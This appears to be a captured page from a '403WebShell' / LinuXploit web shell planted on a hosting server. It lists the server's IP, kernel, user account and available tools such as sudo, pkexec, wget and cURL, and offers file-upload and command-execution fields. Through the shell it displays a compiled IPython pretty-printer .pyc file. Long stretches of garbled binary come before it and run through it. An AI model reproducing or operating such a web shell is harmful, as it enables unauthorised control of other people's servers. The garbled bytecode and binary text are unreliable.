DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 213.165.242.4  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux amsngx344.inmotionhosting.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : aquafi9 ( 1305)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/imh-python/lib/python3.9/site-packages/IPython/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imh-python/lib/python3.9/site-packages/IPython/lib/__pycache__/pretty.cpython-39.pyc
a

o�h�v�$@s�dZddlmZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZgd
�ZdZee�d��Zdnd
d�ZeGdd�de
��Zdd�Zdddefdd�Zdddefdd�ZGdd�de�ZGdd�de�Z dd�Z!Gd d!�d!e �Z"Gd"d#�d#e�Z#Gd$d%�d%e#�Z$Gd&d'�d'e#�Z%Gd(d)�d)e#�Z&Gd*d+�d+e�Z'Gd,d-�d-�Z(Gd.d/�d/�Z)Gd0d1�d1�Z*d2d3�Z+d4d5�Z,d6d7�Z-d8d9�Z.d:d;�Z/Gd<d=�d=�Z0d>d?�Z1d@dA�Z2dBdC�Z3dDdE�Z4dFdG�Z5dHdI�Z6ze7Z8Wne9�ye:Z8Yn0e;e4e<e4e=e4e>e,dJdK�e?e,dLdM�e@e.dNdO�eAe-dNdO�eBe-dPdQ�eCe/ee1ee3ejDe5ejEe5ejFe4ejGe2eje4ejHe4e8e6iZIeejJ�ZKeKe@u�r�e.dRdO�eIeK<e.dSdQ�eIejL<e4eIeM<e4eIeN<e4eIeO<iZPdTdU�ZQdVdW�ZRe@�SeTeUddXdeVeWg�e4�ZXdYdZ�ZYd[d\�ZZd]d^�Z[d_d`�Z\dadb�Z]eRdcddeY�eRdcdeeZ�eRdcdfe[�eRdcdge\�eRdcdhe]�e^dik�r�ddjl_m`Z`Gdkdl�dle�Zaeea�dXdm�dS)oa�

Python advanced pretty printer.  This pretty printer is intended to
replace the old `pprint` python module which does not allow developers
to provide their own pretty print callbacks.

This module is based on ruby's `prettyprint.rb` library by `Tanaka Akira`.


Example Usage
-------------

To directly print the representation of an object use `pprint`::

    from pretty import pprint
    pprint(complex_object)

To get a string of the output use `pretty`::

    from pretty import pretty
    string = pretty(complex_object)


Extending
---------

The pretty library allows developers to add pretty printing rules for their
own objects.  This process is straightforward.  All you have to do is to
add a `_repr_pretty_` method to your object and call the methods on the
pretty printer passed::

    class MyObject(object):

        def _repr_pretty_(self, p, cycle):
            ...

Here's an example for a class with a simple constructor::

    class MySimpleObject:

        def __init__(self, a, b, *, c=None):
            self.a = a
            self.b = b
            self.c = c

        def _repr_pretty_(self, p, cycle):
            ctor = CallExpression.factory(self.__class__.__name__)
            if self.c is None:
                p.pretty(ctor(a, b))
            else:
                p.pretty(ctor(a, b, c=c))

Here is an example implementation of a `_repr_pretty_` method for a list
subclass::

    class MyList(list):

        def _repr_pretty_(self, p, cycle):
            if cycle:
                p.text('MyList(...)')
            else:
                with p.group(8, 'MyList([', '])'):
                    for idx, item in enumerate(self):
                        if idx:
                            p.text(',')
                            p.breakable()
                        p.pretty(item)

The `cycle` parameter is `True` if pretty detected a cycle.  You *have* to
react to that or the result is an infinite loop.  `p.text()` just adds
non breaking text to the output, `p.breakable()` either adds a whitespace
or breaks here.  If you pass it an argument it's used instead of the
default space.  `p.pretty` prettyprints another object using the pretty print
method.

The first parameter to the `group` function specifies the extra indentation
of the next line.  In this example the next item will either be on the same
line (if the items are short enough) or aligned with the right edge of the
opening bracket of `MyList`.

If you just want to indent something you can use the group function
without open / close parameters.  You can also use this code::

    with p.indent(2):
        ...

Inheritance diagram:

.. inheritance-diagram:: IPython.lib.pretty
   :parts: 3

:copyright: 2007 by Armin Ronacher.
            Portions (c) 2009 by Robert Kern.
:license: BSD License.
�)�contextmanagerN)�deque)�	signature)�StringIO)�warn)�undoc)�PYPY)	�pretty�pprint�
PrettyPrinter�RepresentationPrinter�for_type�for_type_by_name�RawText�RawStringLiteral�CallExpressioni��cCs*zt|||�WSty$|YS0dS)zzSafe version of getattr.

    Same as getattr, but will return ``default`` on any Exception,
    rather than raising.
    N)�getattr�	Exception)�obj�attr�default�r��/root/rpmbuild/BUILDROOT/imh-python39-modules-3.9.7-92.el8.x86_64/opt/imh-python/lib/python3.9/site-packages/IPython/lib/pretty.py�
_safe_getattrvsrcseZdZ�fdd�Z�ZS)�
CUnicodeIOcs$t�j|i|��tdtdd�dS)NzKCUnicodeIO is deprecated since IPython 6.0. Please use io.StringIO instead.�)�
stacklevel)�super�__init__r�DeprecationWarning)�self�args�kwargs��	__class__rrr�s�zCUnicodeIO.__init__)�__name__�
__module__�__qualname__r�
__classcell__rrr$rr�srcCsXt|�}z
t|�WStyRzt|td�WYStyL|YYS0Yn0dS)z�
    Sort the given items for pretty printing. Since some predictable
    sorting is better than no sorting at all, we sort on the string
    representation if normal sorting fails.
    )�keyN)�list�sortedr�str)�itemsrrr�_sorted_for_pprint�s
r/F�O�
cCs2t�}t|||||d�}|�|�|��|��S)z3
    Pretty print the object's representation.
    ��max_seq_length)rrr	�flush�getvalue)r�verbose�	max_width�newliner3�stream�printerrrrr	�s

r	cCs@ttj||||d�}|�|�|��tj�|�tj��dS)z,
    Like `pretty` but print to stdout.
    r2N)r�sys�stdoutr	r4�write)rr6r7r8r3r:rrrr
�s

r
c@s&eZdZedd��Zeddd��ZdS)	�_PrettyPrinterBasec	cs<|j|7_zdVW|j|8_n|j|8_0dS)z/with statement support for indenting/dedenting.N)�indentation)r!�indentrrrr@�sz_PrettyPrinterBase.indentrrc
cs6|�||�zdVW|�||�n|�||�0dS)z8like begin_group / end_group but for the with statement.N)�begin_group�	end_group)r!r@�open�closerrr�group�sz_PrettyPrinterBase.groupN)rrr)r&r'r(rr@rErrrrr>�s
r>c@sneZdZdZddefdd�Zdd�Zdd	�Zd
d�Zdd
d�Z	dd�Z
ddd�Zdd�Zddd�Z
dd�ZdS)ra
    Baseclass for the `RepresentationPrinter` prettyprinter that is used to
    generate pretty reprs of objects.  Contrary to the `RepresentationPrinter`
    this printer knows nothing about the default pprinters or the `_repr_pretty_`
    callback method.
    r0r1cCsP||_||_||_||_d|_d|_t�|_td�}|g|_	t
|�|_d|_dS�Nr)
�outputr7r8r3�output_width�buffer_widthr�buffer�Group�group_stack�
GroupQueue�group_queuer?)r!rGr7r8r3Z
root_grouprrrr�s
zPrettyPrinter.__init__cCs||jr4|j��}|�|j|j�|_|j|j8_q|jrxt|jdt�rx|j��}|�|j|j�|_|j|j8_q4dSrF)	�
breakablesrJ�popleftrGrHrI�width�
isinstance�Text)r!rE�xrrr�_break_one_group�s

zPrettyPrinter._break_one_groupcCs4|j|j|jkr0|j��}|s$dS|�|�qdS�N)r7rHrIrN�deqrU�r!rErrr�_break_outer_groups�s

z!PrettyPrinter._break_outer_groupscCsvt|�}|jrX|jd}t|t�s4t�}|j�|�|�||�|j|7_|��n|j�	|�|j
|7_
dS)zAdd literal text to the output.���N)�lenrJrRrS�append�addrIrYrGr=rH)r!rrQ�textrrrr^�s


zPrettyPrinter.text� cCs~t|�}|jd}|jrP|��|j�|j�|j�d|j�|j|_d|_	n*|j
�t|||��|j	|7_	|�
�dS)z�
        Add a breakable separator to the output.  This does not mean that it
        will automatically break here.  If no breaking on this position takes
        place the `sep` is inserted which default to one space.
        rZr_rN)r[rL�
want_breakr4rGr=r8r?rHrIrJr\�	BreakablerY)r!�seprQrErrr�	breakable�s
zPrettyPrinter.breakablecCsR|j��}|r|�|�|��|j�|j�|j�d|j�|j|_d|_	dS)z_
        Explicitly insert a newline into the output, maintaining correct indentation.
        r_rN)
rNrWrUr4rGr=r8r?rHrIrXrrr�break_
s

zPrettyPrinter.break_rrcCsL|r|�|�t|jdjd�}|j�|�|j�|�|j|7_dS)z�
        Begin a group.
        The first parameter specifies the indentation for the next line (usually
        the width of the opening text), the second the opening text.  All
        parameters are optional.
        rZ�N)r^rKrL�depthr\rN�enqr?)r!r@rCrErrrrAs
zPrettyPrinter.begin_groupccsRt|�D]D\}}|jrB||jkrB|�d�|��|�d�dS||fVqdS)z>like enumerate, but with an upper limit on the number of items�,�...N)�	enumerater3r^rc)r!�seq�idxrTrrr�
_enumerate&s

zPrettyPrinter._enumeratecCs<|j|8_|j��}|js*|j�|�|r8|�|�dS)z0End a group. See `begin_group` for more details.N)r?rL�poprOrN�remover^)r!�dedentrDrErrrrB0s
zPrettyPrinter.end_groupcCs:|jD]}|j|�|j|j�7_q|j��d|_dS)z&Flush data that is left in the buffer.rN)rJrHrG�clearrI)r!�datarrrr49s

zPrettyPrinter.flushN)r_)rr)rr)r&r'r(�__doc__�MAX_SEQ_LENGTHrrUrYr^rcrdrArmrBr4rrrrr�s




	rcCsTt|d�sJzt|j|tfi�}Wnty8|g}YqP0|jdd�}n|j}|S)z| Get a reasonable method resolution order of a class and its superclasses
    for both old-style and new-style classes.
    �__mro__rerZ)�hasattr�typer&�object�	TypeErrorru)�	obj_class�mrorrr�_get_mroAs
r|c@s8eZdZdZddddddefdd�Zdd	�Zd
d�ZdS)ra
    Special pretty printer that has a `pretty` method that calls the pretty
    printer for a python object.

    This class stores processing data on `self` so you must *never* use
    this class in a threaded environment.  Always lock it or reinstanciate
    it.

    Instances also have a verbose flag callbacks can access to control their
    output.  For example the default instance repr prints all attributes and
    methods that are not prefixed by an underscore if the printer is in
    verbose mode.
    Fr0r1Nc		Csftj|||||d�||_g|_|dur0t��}||_|durFt��}||_|dur\t	��}||_
dS)Nr2)rrr6�stack�_singleton_pprinters�copy�singleton_pprinters�_type_pprinters�type_pprinters�_deferred_type_pprinters�deferred_pprinters)	r!rGr6r7r8r�r�r�r3rrrrcszRepresentationPrinter.__init__c	Cs�t|�}||jv}|j�|�|���znt|dd�p<t|�}z|j|}WnttfybYn"0||||�W|�	�|j�
�St|�D]�}||jvr�|j||||�W|�	�|j�
�S|�
|�}|dur�||||�W|�	�|j�
�Sd|jv�r:|j}t|��r:||||�W|�	�|j�
�S|tur�t|j�d��r�t|||�W|�	�|j�
�Sq�t|||�W|�	�|j�
�S|�	�|j�
�0dS)zPretty print the given object.r%N�
_repr_pretty_�__repr__)�idr}r\rArrwr�ry�KeyErrorrBrnr|r��_in_deferred_types�__dict__r��callablerx�get�_repr_pprint�_default_pprint)r!r�obj_id�cyclerzr:�cls�methrrrr	ts`

�

�

�

��
�
��zRepresentationPrinter.prettycCsHt|dd�}t|dd�}||f}d}||jvrD|j�|�}||j|<|S)a
        Check if the given class is specified in the deferred type registry.

        Returns the printer from the registry if it exists, and None if the
        class is not in the registry. Successful matches will be moved to the
        regular type registry for future use.
        r'Nr&)rr�rnr�)r!r��mod�namer*r:rrrr��s

z(RepresentationPrinter._in_deferred_types)r&r'r(rsrtrr	r�rrrrrTs�
-rc@seZdZdd�ZdS)�	PrintablecCs|SrVr�r!r9rHrrrrG�szPrintable.outputN)r&r'r(rGrrrrr��sr�c@s$eZdZdd�Zdd�Zdd�ZdS)rScCsg|_d|_dSrF)�objsrQ�r!rrrr�sz
Text.__init__cCs |jD]}|�|�q||jSrV)r�r=rQ)r!r9rHrrrrrG�s
zText.outputcCs|j�|�|j|7_dSrV)r�r\rQ)r!rrQrrrr]�szText.addN)r&r'r(rrGr]rrrrrS�srSc@seZdZdd�Zdd�ZdS)racCs8||_||_||_|j|_|jd|_|jj�|�dS)NrZ)rrQr	r?rLrErOr\)r!rkrQr	rrrr�szBreakable.__init__cCsf|jj��|jjr8|�|jj�|�d|j�|jS|jjsP|jj�	|j�|�|j
�||jS)Nr_)rErOrPr`r=r	r8r?rNrorrQr�rrrrG�szBreakable.outputN)r&r'r(rrGrrrrra�srac@seZdZdd�ZdS)rKcCs||_t�|_d|_dS)NF)rfrrOr`)r!rfrrrr�szGroup.__init__N)r&r'r(rrrrrrK�srKc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
rMcGsg|_|D]}|�|�q
dSrV)�queuerg)r!�groupsrErrrr�szGroupQueue.__init__cCs:|j}|t|j�dkr&|j�g�q|j|�|�dS)Nre)rfr[r�r\)r!rErfrrrrg�szGroupQueue.enqcCs^|jD]R}tt|��D]&\}}|jr||=d|_|Sq|D]
}d|_qB|dd�=qdS)NT)r�rj�reversedrOr`)r!r}rlrErrrrW�s
zGroupQueue.deqcCs.z|j|j�|�Wnty(Yn0dSrV)r�rfro�
ValueErrorrXrrrroszGroupQueue.removeN)r&r'r(rrgrWrorrrrrM�srMc@s eZdZdZdd�Zdd�ZdS)rz� Object such that ``p.pretty(RawText(value))`` is the same as ``p.text(value)``.

    An example usage of this would be to show a list as binary numbers, using
    ``p.pretty([RawText(bin(i)) for i in integers])``.
    cCs
||_dSrV��value�r!r�rrrr
szRawText.__init__cCs|�|j�dSrV)r^r�)r!�pr�rrrr�szRawText._repr_pretty_N�r&r'r(rsrr�rrrrrsrc@s,eZdZdZdd�Zedd��Zdd�ZdS)	rzY Object which emits a line-wrapped call expression in the form `__name(*args, **kwargs)` cOs|}||_||_||_dSrV)r�r"r#)Z_CallExpression__selfZ_CallExpression__namer"r#r!rrrrszCallExpression.__init__cs��fdd�}|S)Ncs��g|�Ri|��SrVr)r"r#�r�r�rr�inner sz%CallExpression.factory.<locals>.innerr)r�r�r�rr�r�factoryszCallExpression.factoryc
s�d���fdd�}|jd}��t|�|d���|jD]}|���|�q6|j��D]P\}}|�|d}��t|�|����|�Wd�qV1s�0YqVWd�n1s�0YdS)NFcs�r��d����d�dS)NrhT)r^rcr�r��startedrr�new_item)s
z.CallExpression._repr_pretty_.<locals>.new_item�(�)�=)r�rEr[r"r	r#r.)r!r�r�r��prefix�arg�arg_nameZ
arg_prefixrr�rr�$s

zCallExpression._repr_pretty_N)r&r'r(rsr�classmethodr�r�rrrrrs

rc@s eZdZdZdd�Zdd�ZdS)rz/ Wrapper that shows a string with a `r` prefix cCs
||_dSrVr�r�rrrr>szRawStringLiteral.__init__cCsNt|j�}|dd�dvr,|dd�}d}nd}||�dd�}|�|�dS)NreZuU�ur�rz\\�\)�reprr��replacer^)r!r�r�Z	base_reprr�rrrr�As
zRawStringLiteral._repr_pretty_Nr�rrrrr<src	Cs6t|dd�pt|�}t|dd�tjur6t|||�dS|�dd�|�|�|�dt|��|rn|�d�n�|j	�r&d}t
|�D]�}|�d	�s�zt||�}Wnt
y�Yq�Yn0t|tj�r�q�|s�|�d
�|��|�|�|�d�t|�d}|j|7_|�|�|j|8_d}q�|�dd
�dS)zw
    The default print function.  Used if an object does not provide one and
    it's none of the builtin objects.
    r%Nr�re�<z at 0x%xz ...T�_rhr�F�>)rrwrxr�r�rAr	r^r�r6�dir�
startswithr�AttributeErrorrR�types�
MethodTypercr[r?rB)rr�r��klass�firstr*r��steprrrr�Ls<






r�cs��fdd�}|S)z|
    Factory that returns a pprint function useful for sequences.  Used by
    the default pprint for tuples and lists.
    cs�|r|��d��St��}|�|��|�|�D](\}}|rR|�d�|��|�|�q4t|�dkr~t|t�r~|�d�|�|��dS)Nrirhre)	r^r[rArmrcr	rR�tuplerB)rr�r�r�rlrT��end�startrrr�ws

z$_seq_pprinter_factory.<locals>.innerr�r�r�r�rr�r�_seq_pprinter_factoryrsr�cs��fdd�}|S)zP
    Factory that returns a pprint function useful for sets and frozensets.
    cs�|r|��d��St|�dkr8|�t|�jd�nvt��}|�|��|jr`t|�|jksjt|�}n|}|�|�D](\}}|r�|�d�|��|�	|�qx|�
|��dS)Nrirz()rh)r^r[rwr&rAr3r/rmrcr	rB)rr�r�r�r.rlrTr�rrr��s

z$_set_pprinter_factory.<locals>.innerrr�rr�r�_set_pprinter_factory�sr�cs��fdd�}|S)zj
    Factory that returns a pprint function used by the default pprint of
    dicts and dict proxies.
    cs�|r|�d�St��}|�|��|��}|�|�D]@\}}|rR|�d�|��|�|�|�d�|�||�q4|�|��dS)Nz{...}rhz: )r^r[rA�keysrmrcr	rB)rr�r�r�r�rlr*r�rrr��s



z%_dict_pprinter_factory.<locals>.innerrr�rr�r�_dict_pprinter_factory�sr�cCsj|�dd�|�|j�|�d�|��trN|jj}|�||urFdn|�n|�|j�|�dd�dS)zThe pprint for the super type.�z<super: rhNr�)	rAr	�
__thisclass__r^rcrr��__self__rB)rr�r�Zdselfrrr�
_super_pprint�s
r�c@seZdZdd�Zdd�ZdS)�_ReFlagscCs
||_dSrVr�r�rrrr�sz_ReFlags.__init__cCsBd}dD]4}|jtt|�@r|r*|�d�|�d|�d}qdS)NF)�TEMPLATE�
IGNORECASE�LOCALE�	MULTILINE�DOTALL�UNICODE�VERBOSE�DEBUG�|zre.T)r�r�rer^)r!r�r�Zdone_one�flagrrrr��s
z_ReFlags._repr_pretty_N)r&r'r(rr�rrrrr��sr�cCsFt�d�}|jr.|�|t|j�t|j���n|�|t|j���dS)z4The pprint function for regular expression patterns.z
re.compileN)rr��flagsr	r�patternr�)rr�r�Z
re_compilerrr�_re_pattern_pprint�s
r�cCs<t�d�}|r"|�|td���n|�|fi|j���dS)z.The pprint function for types.SimpleNamespace.�	namespaceriN)rr�r	rr�)rr�r�r�rrr�_types_simplenamespace_pprint�s
r�cCs�dd�tt|��D�dd�tgkr4t|||�dSt|dd�}z|j}t|t�sZtd��Wn&ty�|j}t|t�s~d}Yn0|dvr�|�	|�n|�	|d	|�dS)
z!The pprint for classes and types.cSsg|]}dt|�vr|�qS)r�)�vars)�.0�mrrr�
<listcomp>��z _type_pprint.<locals>.<listcomp>Nrer'zTry __name__z<unknown type>)N�__builtin__�builtins�
exceptions�.)
r|rwr�rr(rRr-rr&r^)rr�r�r�r�rrr�_type_pprint�s$


r�cCsdt|�}|��}|���8t|�D]\}}|r6|��|�|�q"Wd�n1sV0YdS)z9A pprint that just redirects to the normal repr function.N)r��
splitlinesrErjrdr^)rr�r�rG�linesrlZoutput_linerrrr�s
r�cCsjt|d|j�}|j}|r,|dvr,|d|}z|tt|��}WntyV|}Yn0|�d|�dS)z4Base pprint for all functions and builtin functions.r()r�r�r�r�z
<function %s>N)rr&r'r-rr�r^)rr�r�r�r�Zfunc_defrrr�_function_pprints
r�cCsPt|jd|jj�}|jjdvr.d|jj|f}|�t|gt|dd��R��dS)zBase pprint for all exceptions.r()r�r�z%s.%sr"rN)rr%r&r'r	r)rr�r�r�rrr�_exception_pprint sr�r�r��[�]�{�}zfrozenset({z})zenviron{zmappingproxy({cCs t�|d�}|dur|t|<|S)z0
    Add a pretty printer for a given type.
    N)r�r�)�typ�func�oldfuncrrrr
Vsr
cCs(||f}t�|d�}|dur$|t|<|S)z|
    Add a pretty printer for a type specified by the module and name of a type
    rather than the type object itself.
    N)r�r�)Ztype_module�	type_namer�r*r�rrrr`s
rTcCs@t�|jj�}|r&|�|td���n|�||jt|���dS�Nri)rr�r%r&r	r�default_factory�dict�rr�r�Zcls_ctorrrr�_defaultdict_pprintrsr�cCsVt�|jj�}|r&|�|td���n,t|�rF|�|t|�����n|�|��dSr�)	rr�r%r&r	rr[r+r.r�rrr�_ordereddict_pprintysr�cCs`t�|jj�}|r&|�|td���n6|jdurJ|�|t|�|jd��n|�|t|���dS)Nri)�maxlen)rr�r%r&r	rr�r+r�rrr�
_deque_pprint�s
r�cCsVt�|jj�}|r&|�|td���n,t|�rF|�|t|�����n|�|��dSr�)	rr�r%r&r	rr[r��most_commonr�rrr�_counter_pprint�sr�cCs:t�|jj�}|r&|�|td���n|�||j��dSr�)rr�r%r&r	rrrr�rrr�_userlist_pprint�sr��collections�defaultdict�OrderedDictr�Counter�UserList�__main__)�	randrangec@seZdZdd�Zdd�ZdS)�FoocCs@d|_t�d�|_t�td�tdd��|_d|_	dd|g|_
dS)Nrez\s+��(gg�����@�blubZblah)�foor��compile�barr��fromkeys�rangerrZheher+r�rrrr�s
zFoo.__init__cCstd�dS)Nr	)�printr�rrr�get_foo�szFoo.get_fooN)r&r'r(rrrrrrr�sr)r6)N)brs�
contextlibr�datetime�osr�r;r�r�r�inspectr�ior�warningsrZIPython.utils.decoratorsrZIPython.utils.py3compatr�__all__rtrwr
Z_re_pattern_typerrr/r	r
rxr>rr|rr�rSrarKrMrrrr�r�r�r�r�r�r�r�r�r�r�r��
BaseExceptionZ_exception_base�	NameErrorr�int�floatr-r�r+r��set�	frozensetr�FunctionType�BuiltinFunctionTyper��SimpleNamespace�	timedeltar��environZ	_env_type�MappingProxyType�slicer
�bytesr�r
rr�mapr��Ellipsis�NotImplementedr~r�r�r�r�r�r&�randomrrrrrr�<module>s�_

`
(&		







�


��		



Youez - 2016 - github.com/yon3zu
LinuXploit